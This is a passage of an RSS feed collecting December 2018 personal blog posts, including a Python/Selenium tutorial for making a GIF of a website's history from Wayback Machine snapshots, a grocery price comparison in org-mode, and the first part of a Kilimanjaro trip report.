&lt;p&gt;The message is this, go and check out some packages you use a lot across your projects, see if any of their issues need help. If you do not have development time, check out how you can donate to packages with “&lt;a href="https://github.com/feross/thanks"&gt;npx thanks&lt;/a&gt;”. If you cannot do either of those things, leave them a star, &lt;a href="https://www.npmjs.com/package/appreciate"&gt;there is even an npm package to do this&lt;/a&gt;. Just don’t complain about an issue in software you make money off, which you originally got for free.&lt;/p&gt;</description><author/><pubDate>Wed, 05 Dec 2018 00:12:03 GMT</pubDate><guid isPermaLink="true">/dont-know/</guid></item><item><title>Proof of authenticity</title><link>http://dimitarsimeonov.com/2018/12/04/proof-of-authenticity</link><description>&lt;p&gt;The same year I was born, the president of USA, Ronald Reagan, was
giving a speech in Germany. I learned about it 31 years later when I
saw it on Reddit. As he keeps talking “presidentially,” we can all
hear a bang. Unfazed, Reagan comments “Missed me” and tries to
continue with the speech. Indeed, it missed him. It wasn’t a gun shot
at all, it was a balloon popping. Reagan was shot with a gun six years
earlier and still felt the consequences.&lt;/p&gt;

&lt;p&gt;What impressed me was the reaction of the crowd. They roared loudly. I
couldn’t help but wonder, why would they react to the response, and
not to the speech. After all they were there for the
speech. Presumably… it was important. But the actions speak louder
than words, and the audience showed they value remaining calm in the
sense of danger much more than giving a speech. They showed they value
the show, the performance. The high stakes.&lt;/p&gt;



&lt;p&gt;What is it about the performance that makes it so important as to
eclipse the rest of the speech? Can we create that importance and
reaction at will? What would a speech be if it has multiple such
performances? Would it be as momentous as MLK’s “I have a dream”?&lt;/p&gt;

&lt;p&gt;The performance is real. Even though Reagan was a Hollywood actor, in
that situation the reaction time was instantaneous. He had a split
second to decide if that sound was a source of danger and whether to
react. It was all about the timing. If he had taken the time to look
around, to get update from Secret Service, if he had paused in any way
before remarking “missed me” he wouldn’t have gotten loud ovations. Be
reacting instantaneously, he gave the audience a Proof of
Authenticity. If the timing was longer, he would appear less
confident, and less authentic. It has to be quick enough to be
authentic, to be Kahneman-and-Tversky-System-1 reaction, to be a
Malcolm-Gladwell-Blink reaction. The quickness of the reaction proves
to us, that there is no other though other than the one expressed.&lt;/p&gt;

&lt;p&gt;It’s the same as the proof of work principle for cryptocurrencies,
looked from a different angle. Proof of work helps us trust that the
bits of a bitcoin are real, because the algorithm to compute them is
so hard, nobody else would be able to invent them in our lifetime,
unless they had access to the massive amounts of compute that the
Bitcoin network has.  In an oversimplified way - proof of work means
that the result takes too long to fake.  Proof of authenticy works the
same way except that it pushes the amount of time down low, to the
atomic limit of human abilities, where we can’t apply filters to mask
their authenticity.&lt;/p&gt;

&lt;p&gt;We seek that proof of authenticity and regard it highly in the rare
chance we notice it.&lt;/p&gt;</description><author>D13V</author><pubDate>Tue, 04 Dec 2018 23:45:39 GMT</pubDate><guid isPermaLink="true">http://dimitarsimeonov.com/2018/12/04/proof-of-authenticity</guid></item><item><title>400 MHz processor in a Macintosh PowerBook G3 PDQ?</title><link>https://www.davidschlachter.com/misc/powerbook-g3-pdq-400-mhz</link><description>System Profiler reports a 400 MHz processor in a model that only came in 233, 266, and 300 MHz configurations. Is this an overclock, an upgrade card, or something else?</description><author>David Schlachter</author><pubDate>Tue, 04 Dec 2018 19:00:00 GMT</pubDate><guid isPermaLink="true">https://www.davidschlachter.com/misc/powerbook-g3-pdq-400-mhz</guid></item><item><title>The "Death of Tumblr" is nothing but proof n. 99999....</title><link>https://stop.zona-m.net/2018/12/the-death-of-tumblr-is-nothing-but-proof-n.-99999..../</link><description>&lt;p&gt;..that we MUST switch to the RIGHT kind of personal clouds NOW.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Tue, 04 Dec 2018 07:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/12/the-death-of-tumblr-is-nothing-but-proof-n.-99999..../</guid></item><item><link>https://kajic.com/post/180779794675</link><description>&lt;figure class="tmblr-full"&gt;&lt;img src="https://64.media.tumblr.com/e2a246e8c7fb5cfadd6ed710add44ff5/tumblr_pj72rjFE101qiv660_540.jpg" /&gt;&lt;/figure&gt;</description><author>ka-yich</author><pubDate>Tue, 04 Dec 2018 06:21:20 GMT</pubDate><guid isPermaLink="true">https://kajic.com/post/180779794675</guid></item><item><title>Creators responsibility</title><link>https://ciesie.com/post/creators_responsibility/</link><description>&lt;p&gt;Recently I&amp;rsquo;ve enjoyed reading blog posts by &lt;a href="https://twitter.com/nikitonsky"&gt;Nikita&lt;/a&gt;.
You can find the blog &lt;a href="tonksy.me"&gt;here&lt;/a&gt;. One blog post I see quoted often is
&lt;a href="tonsky.me/blog/disenchantment"&gt;this&lt;/a&gt; one (you can read it in 6 languages - that
says something). It&amp;rsquo;s about the disastrous state of current software development.&lt;/p&gt;
&lt;p&gt;The author brings a lot of good points. The message is that no one puts effort
into making software performant. We solve problems by adding complexity, never
actually solving the root cause. This comes at a cost. It&amp;rsquo;s all a slow, bloated
and complicated mess. Hard to disagree.&lt;/p&gt;</description><author>ciesie.com</author><pubDate>Tue, 04 Dec 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://ciesie.com/post/creators_responsibility/</guid></item><item><title>One million npm downloads</title><link>https://muffinman.io/blog/one-million-npm-downloads/</link><description>&lt;article class="article"&gt;&lt;p&gt;I want to brag a little - my npm packages have been downloaded more than
&lt;span class="sidenote__text" tabindex="0"&gt;1 million times&lt;/span&gt;&lt;span class="sidenote__note"&gt;&lt;span class="sidenote__note-inner"&gt;&lt;span class="sidenote__note-text"&gt;Stats are coming from &lt;a href="https://npm-stat.com/charts.html?author=stanko&amp;#x26;from=2018-01-01&amp;#x26;to=2018-12-31"&gt;npm-stat.com&lt;/a&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
this year!&lt;/p&gt;
&lt;figure class="image__figure"&gt;&lt;img alt="Image showing yearly download stats of my npm packages" height="700" src="./1m.png" width="1028" /&gt;&lt;/figure&gt;
&lt;p&gt;And I finally got a real domain:&lt;/p&gt;
&lt;p&gt;&lt;a href="https://muffinman.io/"&gt;https://muffinman.io/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I&amp;#x27;ve been quiet for the last couple of months. Mostly because I was busy with other things, both work and personal. But I do have a few small side projects I will be sharing soon.&lt;/p&gt;
&lt;p&gt;Stay tuned!&lt;/p&gt;&lt;/article&gt;</description><author>Muffin Man</author><pubDate>Tue, 04 Dec 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://muffinman.io/blog/one-million-npm-downloads/</guid></item><item><title>Make a Gif of a Website’s Evolution</title><link>https://bfontaine.net/2018/12/03/make-a-gif-of-a-websites-evolution/</link><description>&lt;p&gt;For the &lt;a href="https://meta.stackexchange.com/q/318910/185171"&gt;latest StackExchange “time”-themed contest&lt;/a&gt;, I made
&lt;a href="https://meta.stackexchange.com/a/319279/185171"&gt;a gif&lt;/a&gt; showing the evolution of StackOverflow from 2008 to today:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://bftn.fr/so-gif"&gt;&lt;img alt="the gif" src="https://bfontaine.net/so.gif" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p class="imghint"&gt;(click on the image to play it again)&lt;/p&gt;

&lt;p&gt;The first step was to find a decent API for the &lt;a href="https://archive.org/"&gt;Internet Archive&lt;/a&gt;. It
&lt;a href="https://ws-dl.blogspot.com/2013/07/2013-07-15-wayback-machine-upgrades.html"&gt;supports&lt;/a&gt; Memento, an HTTP-based protocol defined in the &lt;a href="https://tools.ietf.org/html/rfc7089"&gt;RFC 7089&lt;/a&gt; in&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;Using the &lt;a href="https://github.com/mementoweb/py-memento-client#memento-client-"&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;memento_client&lt;/code&gt;&lt;/a&gt; wrapper, we can get the closest snapshot
of a website at a given date with the following Python code:&lt;/li&gt;
&lt;/ol&gt;

&lt;pre&gt;&lt;code class="language-python3"&gt;from datetime import datetime, timedelta
from memento_client import MementoClient

mc = MementoClient(timegate_uri="https://web.archive.org/web/",
        check_native_timegate=False)

def get_snapshot_url(url, dt):
    info = mc.get_memento_info(url, dt)
    closest = info.get("mementos", {}).get("closest")
    if closest:
        return closest["uri"][0]

# As an example, let’s look at StackOverflow two weeks ago
url = "https://stackoverflow.com/"
two_weeks_ago = datetime.now() - timedelta(weeks=2)
snapshot_url = get_snapshot_url(url, two_weeks_ago)

print("StackOverflow from ~2 weeks ago: %s" % snapshot_url)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Don’t forget to install the &lt;code class="language-plaintext highlighter-rouge"&gt;memento_client&lt;/code&gt; lib:&lt;/p&gt;

&lt;div class="language-bash highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;pip &lt;span class="nb"&gt;install &lt;/span&gt;memento_client
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Note this gives us the &lt;em&gt;closest&lt;/em&gt; snapshot, so it might not be &lt;em&gt;exactly&lt;/em&gt; two
weeks ago.&lt;/p&gt;

&lt;p&gt;We can use this code to loop using an increasing time delta in order to get
snapshots at different times. But we don’t only want to get the URLs. We wants
to make a screenshot of each one.&lt;/p&gt;

&lt;p&gt;The easiest way to programmatically take a screenshot of a webpage is probably
to use Selenium. I used Chrome as a driver; you can either download
it from &lt;a href="https://sites.google.com/a/chromium.org/chromedriver/downloads"&gt;the ChromeDriver website&lt;/a&gt; or run the following command
if you’re on a Mac with &lt;a href="https://brew.sh/"&gt;Homebrew&lt;/a&gt;:&lt;/p&gt;

&lt;div class="language-bash highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;brew &lt;span class="nb"&gt;install &lt;/span&gt;bfontaine/utils/chromedriver
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We also need to install Selenium for Python:&lt;/p&gt;

&lt;div class="language-bash highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;pip &lt;span class="nb"&gt;install &lt;/span&gt;selenium
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The code is pretty short:&lt;/p&gt;

&lt;pre&gt;&lt;code class="language-python3"&gt;from selenium import webdriver

def make_screenshot(url, filename):
    driver = webdriver.Chrome("chromedriver")
    driver.get(url)
    driver.save_screenshot(filename)
    driver.quit()

url = "https://web.archive.org/web/20181119211854/https://stackoverflow.com/"

make_screenshot(url, "stackoverflow_20181119211854.png")
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;If you run the code above, you should see a Chrome window open, go at the URL
by itself, then close once the page is fully charged. You now have a screenshot
of this page in &lt;code class="language-plaintext highlighter-rouge"&gt;stackoverflow_20181119211854.png&lt;/code&gt;! However, you’ll quickly
notice the screenshot includes the Wayback Machine’s header over the top of the
website:&lt;/p&gt;

&lt;p&gt;&lt;img alt="" class="center" src="/blog/images/stackoverflow_20181119211854_top.png" /&gt;&lt;/p&gt;

&lt;p&gt;This is handy when browsing through snapshots by hand, but not so much when we
access them from Python.&lt;/p&gt;

&lt;p&gt;Fortunately, we can get a header-less URL by &lt;a href="https://webapps.stackexchange.com/a/40912/77124"&gt;changing it a bit&lt;/a&gt;: we can
append &lt;code class="language-plaintext highlighter-rouge"&gt;id_&lt;/code&gt; to the end of the date in order to get the page exactly as it was
when the bot crawled it. However, this means it links to CSS and JS files that
may not exist anymore. We can get a URL to an archived page that has been
slightly modified to replace links with their archived version using &lt;code class="language-plaintext highlighter-rouge"&gt;im_&lt;/code&gt;
instead.&lt;/p&gt;

&lt;dl&gt;
&lt;dt&gt;Page with header and rewritten links:&lt;/dt&gt;
&lt;dd&gt;&lt;code&gt;https://web.archive.org/web/20181119211854/...&lt;/code&gt;&lt;/dd&gt;
&lt;dt&gt;Original page, as it was when crawled:&lt;/dt&gt;
&lt;dd&gt;&lt;code&gt;https://web.archive.org/web/20181119211854&lt;b&gt;id_&lt;/b&gt;/...&lt;/code&gt;&lt;/dd&gt;
&lt;dt&gt;Original page with rewritten links:&lt;/dt&gt;
&lt;dd&gt;&lt;code&gt;https://web.archive.org/web/20181119211854&lt;b&gt;im_&lt;/b&gt;/...&lt;/code&gt;&lt;/dd&gt;
&lt;/dl&gt;

&lt;p&gt;Re-running the code using the modified URL gives us the correct screenshot:&lt;/p&gt;

&lt;div class="language-python highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;https://web.archive.org/web/20181119211854im_/https://stackoverflow.com/&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="nf"&gt;make_screenshot&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;stackoverflow_20181119211854.png&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Joining the two bits of code we can make screenshots of a URL at different
intervals. You may want to check the images once it’s done to remove
inconsistencies. For example, the archived snapshots of Google’s homepage
aren’t all in the same language.&lt;/p&gt;

&lt;p&gt;Once we have all images, we can generate a gif using &lt;a href="https://www.imagemagick.org/script/index.php"&gt;Imagemagick&lt;/a&gt;:&lt;/p&gt;

&lt;div class="language-bash highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;convert &lt;span class="nt"&gt;-delay&lt;/span&gt; 50 &lt;span class="nt"&gt;-loop&lt;/span&gt; 1 &lt;span class="k"&gt;*&lt;/span&gt;.png stackoverflow.gif
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I used the following parameters:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;-delay 50&lt;/code&gt;: change frame every 0.5s. The number is in 100th of a second.&lt;/li&gt;
  &lt;li&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;-loop 1&lt;/code&gt;: loop only once over all the frames. The default is to make an
infinite loop but it doesn’t really make sense here.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;You may want to play with the &lt;code class="language-plaintext highlighter-rouge"&gt;-delay&lt;/code&gt; parameter depending on how many images
you have as well as how often the website changes.&lt;/p&gt;

&lt;p&gt;I also made &lt;a href="https://bfontaine.net/google.gif"&gt;a version with Google&lt;/a&gt; (~10MB) at 5 frames per second,
with &lt;code style="white-space: nowrap;"&gt;-delay 20&lt;/code&gt;. I used the same delay
as the StackOverflow gif: at least 5 weeks between each screenshot. You
can see which year the screenshot is from by looking at the bottom of each
image.&lt;/p&gt;</description><author>Baptiste Fontaine’s Blog</author><pubDate>Mon, 03 Dec 2018 21:19:00 GMT</pubDate><guid isPermaLink="true">https://bfontaine.net/2018/12/03/make-a-gif-of-a-websites-evolution/</guid></item><item><title>Invited to join the Django software foundation</title><link>https://tomforb.es/blog/dsf-member/</link><description>A few days ago I was invited to become a member of the Django software foundation due to my contributions to Django. Awesome! Now I get to hang about in the super-secret mailing list and discuss django-related illuminati business. Removal of core developers The hot news in Django-land is the proposa...</description><author>Tom Forbes</author><pubDate>Sun, 02 Dec 2018 21:58:01 GMT</pubDate><guid isPermaLink="true">https://tomforb.es/blog/dsf-member/</guid></item><item><title>When automation goes horribly right</title><link>https://utf9k.net/blog/automation-right/</link><description>What do you do when a UI element disappears but the service powering it still persists?</description><author>utf9k</author><pubDate>Sun, 02 Dec 2018 13:00:00 GMT</pubDate><guid isPermaLink="true">https://utf9k.net/blog/automation-right/</guid></item><item><title>All the Light We Cannot See</title><link>https://apurva-shukla.me/bookshelf/all-the-light-we-cannot-see/</link><description>⭐ ⭐ ⭐ ⭐ ⭐ One word to describe this novel: illuminating.

This story is rich in its atmosphere of history and emotion, tethering the frail…</description><author>Apurva Shukla's RSS Feed</author><pubDate>Sun, 02 Dec 2018 08:55:05 GMT</pubDate><guid isPermaLink="true">https://apurva-shukla.me/bookshelf/all-the-light-we-cannot-see/</guid></item><item><title>The Internet of Things? Yes, but ONLY if it is OPEN and ORGANIC</title><link>https://stop.zona-m.net/2018/12/the-internet-of-things-yes-but-only-if-it-is-open-and-organic/</link><description>&lt;p&gt;The Internet of Things as advertised today has huge security issues. But they are likely the smallest of its problems.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Sun, 02 Dec 2018 08:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/12/the-internet-of-things-yes-but-only-if-it-is-open-and-organic/</guid></item><item><title>Swift nil-coalescing operator</title><link>https://xenodium.com/swift-nil-coalescing-operator</link><description>&lt;p&gt;&lt;a href="https://twitter.com/twostraws"&gt;Paul Hudson&lt;/a&gt;, over at &lt;a href="https://www.hackingwithswift.com/"&gt;Hacking with Swift&lt;/a&gt;, has written &lt;a href="https://www.hackingwithswift.com/articles/136/the-complete-guide-to-optionals-in-swift"&gt;The Complete Guide to Optionals in Swift&lt;/a&gt;. One of the many highlights is the &lt;a href="https://docs.swift.org/swift-book/LanguageGuide/BasicOperators.html#ID72"&gt;nil-coalescing operator&lt;/a&gt;. If you're a fan of the &lt;a href="https://en.wikipedia.org/wiki/Ternary_operation"&gt;C-like syntax in ternary operations&lt;/a&gt;, you'd enjoy chaining with Swift's nil-coalescing operator:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-swift"&gt;let players = [ &amp;quot;goose&amp;quot;: &amp;quot;run!&amp;quot; ]
let move = players[&amp;quot;duck1&amp;quot;] ?? players[&amp;quot;duck2&amp;quot;] ?? players[&amp;quot;duck3&amp;quot;] ?? players[&amp;quot;goose&amp;quot;]
print(&amp;quot;\(String(describing: move))&amp;quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;ps. Swift snippet run on Emacs &lt;a href="https://orgmode.org/worg/org-contrib/babel/intro.html"&gt;org babel's&lt;/a&gt; &lt;a href="https://github.com/zweifisch/ob-swift"&gt;ob-swift&lt;/a&gt;. See &lt;a href="#multiline-swift-strings"&gt;Multiline Swift strings&lt;/a&gt; for details.&lt;/p&gt;</description><author>xenodium.com @alvaro</author><pubDate>Sun, 02 Dec 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/swift-nil-coalescing-operator</guid></item><item><title>How to make a wood pen</title><link>https://june.kim/how-to-make-a-wood-pen/</link><author>june.kim</author><pubDate>Sun, 02 Dec 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://june.kim/how-to-make-a-wood-pen/</guid></item><item><title>Fountain codes and animated QR</title><link>https://divan.dev/posts/fountaincodes/</link><description>&lt;p&gt;&lt;img alt="fountain" src="https://divan.dev/images/fountain.jpg" /&gt; &lt;sup&gt;(source: &lt;a href="https://olafureliasson.net/archive/artwork/WEK110140/waterfall"&gt;Anders Sune Berg&lt;/a&gt;)&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;In the &lt;a href="https://divan.dev/posts/animatedqr/"&gt;previous article&lt;/a&gt; I&amp;rsquo;ve described a weekend project called &lt;a href="https://github.com/divan/txqr"&gt;txqr&lt;/a&gt; for unidirectional data transfer using animated sequence of QR codes. The straightforward approach was to repeat the encoded sequence over and over until the receiver gets complete data. This simple repetition code was good enough for starter and trivial to implement, but also introduced long delays in case the receiver missed at least one frame. And in practice, it often did, of course.&lt;/p&gt;</description><author>divan's blog</author><pubDate>Sat, 01 Dec 2018 16:55:00 GMT</pubDate><guid isPermaLink="true">https://divan.dev/posts/fountaincodes/</guid></item><item><title>Brexit means Brexit... and more high-tech pollution too</title><link>https://stop.zona-m.net/2018/12/brexit-means-brexit-and-more-high-tech-pollution-too/</link><description>&lt;p&gt;As a consequence of Brexit, the UK will also build its own GPS-equivalent satellite system. What does this really mean?&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Sat, 01 Dec 2018 12:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/12/brexit-means-brexit-and-more-high-tech-pollution-too/</guid></item><item><title>Ocado vs Asda (org table)</title><link>https://xenodium.com/ocado-vs-asda-org-table</link><description>&lt;p&gt;Someone handed me an &lt;a href="https://www.ocado.com"&gt;Ocado&lt;/a&gt; shopping voucher for 30% off. Sounded promising, even for a one-off.&lt;/p&gt;
&lt;p&gt;With my &lt;a href="https://www.amazon.co.uk/Transforming-Relationship-Achieving-Financial-Independence/dp/0143115766/"&gt;Money or Your Life&lt;/a&gt; hat on, I took a closer look for potential savings. Results were disappointing, when compared to alternatives like Asda.&lt;/p&gt;
&lt;p&gt;Here's a table comparing Ocado (30% off) and Asda (no discount):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;                                                                                                                                                                     Ocado    Asda
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;a href="https://www.ocado.com/webshop/product/Coconut-Merchant-Organic-Raw-Extra-Virgin-Coconut-Oil/372144011"&gt;Coconut Merchant Organic Raw Extra Virgin Coconut Oil 500ml&lt;/a&gt;   6.74
&lt;a href="https://groceries.asda.com/product/oils/ktc-coconut-hair-oil/910000033621"&gt;KTC 100% pure coconut oil&lt;/a&gt;                                                                          2.00
&lt;a href="https://www.ocado.com/webshop/product/Waitrose-Love-Life-Popcorn-Maize/25130011"&gt;Waitrose Love Life Popcorn Maize 510g&lt;/a&gt;                                               1.50
&lt;a href="https://groceries.asda.com/promotion/2-for-pound-1.50/ls89129"&gt;Cypressa Popping Corn 2x500g = 1000g&lt;/a&gt;                                                                           1.50
&lt;a href="https://www.ocado.com/webshop/product/Whitworths-Ground-Almonds/275684011"&gt;Whitworths Ground Almonds&lt;/a&gt;                                                                 2.00
&lt;a href="https://groceries.asda.com/product/baking-nuts-seeds-fruit/whitworths-ground-almonds/910000797981"&gt;Whitworths Ground Almonds&lt;/a&gt;                                                  1.60
Total                                                                                                                                                                           £ 5.10
-30%                                                                                                                                                                   £ 7.17&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{=org}"&gt;#+TBLFM: @8$3=vsum(@2$3..@7$3);£ %.2f::@9$2=vsum(@2$2..@7$2) * 0.7;£ %.2f
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;On the upside, Ocado has plenty of items I cannot find at Asda. May be a good opportunity to get these items at a discount.&lt;/p&gt;
&lt;h2&gt;Emacs org tables&lt;/h2&gt;
&lt;p&gt;Small tables are the perfect use-case for Emacs &lt;a href="https://orgmode.org/manual/Tables.html"&gt;org-mode tables&lt;/a&gt;. Been a while since I used one, so great timing for a little refresh.&lt;/p&gt;
&lt;p&gt;Here's the org source for the table above (prior to exporting to HTML):&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-org"&gt;|-------------------------------------------------------------+--------+--------|
|                                                             |  Ocado |   Asda |
|-------------------------------------------------------------+--------+--------|
| [[https://www.ocado.com/webshop/product/Coconut-Merchant-Organic-Raw-Extra-Virgin-Coconut-Oil/372144011][Coconut Merchant Organic Raw Extra Virgin Coconut Oil 500ml]] |   6.74 |        |
| [[https://groceries.asda.com/product/oils/ktc-coconut-hair-oil/910000033621][KTC 100% pure coconut oil]]                                   |        |   2.00 |
| [[https://www.ocado.com/webshop/product/Waitrose-Love-Life-Popcorn-Maize/25130011][Waitrose Love Life Popcorn Maize 510g]]                       |   1.50 |        |
| [[https://groceries.asda.com/promotion/2-for-pound-1.50/ls89129][Cypressa Popping Corn 2x500g = 1000g]]                        |        |   1.50 |
| [[https://www.ocado.com/webshop/product/Whitworths-Ground-Almonds/275684011][Whitworths Ground Almonds]]                                   |   2.00 |        |
| [[https://groceries.asda.com/product/baking-nuts-seeds-fruit/whitworths-ground-almonds/910000797981][Whitworths Ground Almonds]]                                   |        |   1.60 |
|-------------------------------------------------------------+--------+--------|
| Total                                                       |        | £ 5.10 |
|-------------------------------------------------------------+--------+--------|
| -30%                                                        | £ 7.17 |        |
|-------------------------------------------------------------+--------+--------|
#+TBLFM: @8$3=vsum(@2$3..@7$3);£ %.2f::@9$2=vsum(@2$2..@7$2) * 0.7;£ %.2f
&lt;/code&gt;&lt;/pre&gt;</description><author>xenodium.com @alvaro</author><pubDate>Sat, 01 Dec 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/ocado-vs-asda-org-table</guid></item><item><title>Tanzania 1: prep</title><link>http://alanbernstein.github.io/posts/tanzania-1/</link><description>&lt;p&gt;I climbed a mountain with &lt;a href="http://andrearobertson.com/" target="_blank"&gt;Andrea&lt;/a&gt; and Donna. It took a lot of work.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;This is a very long blog post, split into five parts. Check out the &lt;a href="https://alanbernstein.net/trips/kili" target="_blank"&gt;slide show&lt;/a&gt; first. Then, if you aren&amp;rsquo;t sure how far you&amp;rsquo;ll get, read parts 3 and 4, then 2, then maybe 1. Part 5 is mostly for me.&lt;/p&gt;
&lt;p&gt;1: prep - &lt;a href="http://alanbernstein.github.io/posts/tanzania-2"&gt;2: hike&lt;/a&gt; - &lt;a href="http://alanbernstein.github.io/posts/tanzania-3"&gt;3: summit&lt;/a&gt; - &lt;a href="http://alanbernstein.github.io/posts/tanzania-4"&gt;4: safari&lt;/a&gt; - &lt;a href="http://alanbernstein.github.io/posts/tanzania-5"&gt;5: post-mortem&lt;/a&gt; - &lt;a href="https://alanbernstein.net/trips/kili" target="_blank"&gt;slide show (upcoming)&lt;/a&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;img alt="alt" src="https://alanbernstein.net/blog-static/img
/tanzania/IMG_7422-270.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Done!&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Some time in early 2018, Andrea asked me if I wanted to climb &lt;a href="https://en.wikipedia.org/wiki/Mount_Kilimanjaro" target="_blank"&gt;Mount Kilimanjaro&lt;/a&gt;. I hadn&amp;rsquo;t known this was something you could do without significant experience and equipment. It sounded scary and expensive, but after mulling it over for a while, the answer was obvious. I paid my deposit for the seven-day full moon Machame route hike with &lt;a href="https://www.kandooadventures.com/climb-kilimanjaro/" target="_blank"&gt;Kandoo&lt;/a&gt; in March, and spent the next six months researching, training, and shopping.&lt;/p&gt;
&lt;p&gt;Why did I do it? If you need to ask, I&amp;rsquo;ll never be able to answer.&lt;/p&gt;
&lt;p&gt;Summiting one of the highest mountains on the planet was a few levels beyond any previous adventures of mine. After booking the trip, I started looking at recommended gear lists, training regimens, and general travel advice for Africa. My todo list to prepare for the trip was huge, but it was easy to get started. Early on, the important thing was to start training as soon as possible. My legs needed practice, everything else could wait a while.&lt;/p&gt;
&lt;p&gt;For most people doing the Kilimanjaro climb, altitude sickness, or AMS, is the biggest risk, and it&amp;rsquo;s hard to predict how that will affect you. That means being basically fit is the best thing you can do to prepare, physically. As a bike commuter, my aerobic fitness is fine, so there wasn&amp;rsquo;t much more I could do to prepare. Instead, the most important thing was to get ready to be on my feet for many hours, for days on end.&lt;/p&gt;
&lt;p&gt;I suppose I&amp;rsquo;d call myself a moderately experienced outdoorsperson. I&amp;rsquo;ve spent plenty of time car camping, and I&amp;rsquo;m always up for a strenuous day hike to climb some modest peak. I had no backpacking experience, but I did do a seven-day self-supported bike touring trip with Kevin a few years ago. Kili is an extended backcountry camping trek full of strenuous, high-altitude hikes, and I was comfortable with each aspect of that on its own, except for the altitude.&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;m writing all of these posts after the trip, so it will include a handful of retrospective thoughts. &lt;a href="../tanzania-5"&gt;Part 5&lt;/a&gt; is fully focused on that.&lt;/p&gt;
&lt;h1 id="training"&gt;Training&lt;/h1&gt;
&lt;p&gt;I had been in Austin almost ten years, and somehow just recently learned about &lt;a href="http://friendsofriverplacetrail.com/" target="_blank"&gt;River Place Nature Trail&lt;/a&gt;, the only place to hike near Austin with any appreciable elevation gain. It&amp;rsquo;s about six miles long, with 800 feet of elevation gain, mostly on well-maintained trail stairs. It&amp;rsquo;s a bit of a drive, so not usually too busy, but the narrow trail feels full regardless of how many people are there. This place became our weekend hangout for months, replacing all other outdoor activities. I dragged Lisa and Gizmo along a few times. They were NOT into it. They had more fun at &lt;a href="https://tpwd.texas.gov/state-parks/enchanted-rock" target="_blank"&gt;Enchanted Rock&lt;/a&gt;, which is maybe prettier, but much shorter (length and height), much further away, and harder to get into.&lt;/p&gt;
&lt;div class="plotly-graph-div" id="ba2f6233-b4c2-4987-9bc5-9ba38253cb42" style="height: 100%; width: 100%;"&gt;&lt;/div&gt;

&lt;p&gt;&lt;em&gt;Austin is proud of its hills, but that&amp;rsquo;s all we got&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;The River Place hikes were great for consistent training. I tried two other things, briefly. I ran three miles on the Hike and Bike trail downtown. By the second time, I was able to finish the run without stopping or walking. I think I could have kept at it and improved, but I didn&amp;rsquo;t enjoy it, and I already get plenty of aerobic exercise on my bike, so I gave it up. I also acquired an altitude training mask, and used it twice before deciding it was useless. After my first Colorado trip, I realized how bad those things are at simulating altitude effects.&lt;/p&gt;
&lt;div class="plotly-graph-div" id="21fdd4c7-9e3e-48bf-8fff-1ae47a3c80f0" style="height: 100%; width: 100%;"&gt;&lt;/div&gt;

